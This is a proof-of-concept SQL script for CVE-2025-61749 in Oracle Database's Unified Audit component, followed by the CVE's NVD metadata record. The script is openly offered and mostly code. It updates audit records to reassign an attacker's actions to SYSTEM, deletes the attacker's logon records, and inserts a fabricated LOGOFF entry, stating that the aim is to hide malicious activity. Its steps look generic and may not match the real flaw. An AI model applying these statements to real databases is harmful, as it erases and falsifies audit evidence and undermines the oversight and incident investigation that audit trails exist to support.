CVE-2025-61749

-- CVE-2025-61749 PoC: Oracle Unified Audit Unauthorized Data Manipulation -- This PoC demonstrates unauthorized modification of Unified Audit data -- Requires DBA privilege to execute -- Step 1: Connect to Oracle Database with DBA privileges via Oracle Net -- sqlplus sys/password@//hostname:1521/SID as sysdba -- Step 2: Query existing Unified Audit records (before manipulation) SELECT dbusername, action_name, timestamp, obj_name FROM unified_audit_trail WHERE timestamp > SYSDATE - 1 ORDER BY timestamp DESC; -- Step 3: Unauthorized UPDATE on Unified Audit data -- Modify audit records to hide malicious activity UPDATE unified_audit_trail SET dbusername = 'SYSTEM' WHERE dbusername = 'ATTACKER_USER' AND timestamp > SYSDATE - 7; COMMIT; -- Step 4: Unauthorized DELETE on specific audit records DELETE FROM unified_audit_trail WHERE action_name = 'LOGON' AND return_code = 0 AND dbusername = 'ATTACKER_USER' AND timestamp > SYSDATE - 30; COMMIT; -- Step 5: Unauthorized INSERT - inject false audit records INSERT INTO unified_audit_trail ( dbusername, action_name, timestamp, obj_name, return_code ) VALUES ( 'SYSTEM', 'LOGOFF', SYSTIMESTAMP, 'instance', 0 ); COMMIT; -- Note: In patched versions, these operations would be blocked -- or logged separately due to additional integrity checks.

{"cve": {"id": "CVE-2025-61749", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:51.210", "lastModified": "2025-10-24T14:36:36.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Unified Audit component of Oracle Database Server. Supported versions that are affected are 23.4-23.9. Easily exploitable vulnerability allows high privileged attacker having DBA privilege with network access via Oracle Net to compromise Unified Audit. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Unified Audit accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:database_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.4", "versionEndIncluding": "23.9", "matchCriteriaId": "8F8D00E7-212D-4484-935A-FA14427522AE"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}